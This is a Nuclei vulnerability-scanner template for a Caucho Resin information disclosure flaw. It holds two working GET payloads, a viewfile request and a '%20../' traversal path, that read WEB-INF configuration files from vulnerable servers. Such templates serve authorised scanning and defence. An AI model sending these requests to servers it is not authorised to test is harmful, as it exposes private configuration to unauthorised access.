id: caucho-resin-info-disclosure

info:
  name: Caucho Resin - Information Disclosure
  author: pikpikcu
  severity: info
  description: Caucho Resin contains an information disclosure vulnerability. The application does not properly sanitize user-supplied input. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/27888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 0
    cwe-id: CWE-200
  metadata:
    max-request: 2
  tags: exposure,resin,caucho,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/viewfile/?file=/WEB-INF/resin-web.xml" # Version: 3.0.17/3.0.18
      - "{{BaseURL}}/%20../web-inf/web.xml" # Version: 3.1.1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b48d8e5903fe97b0e516ea2e6a0e0f88813783d4df60269922aa8bc29403eccc022079cf305d7541f46d5778e9d6a0387dba1415792310636c671f6d57f7b4c9677c:922c64590222798bb761d5b6d8e72950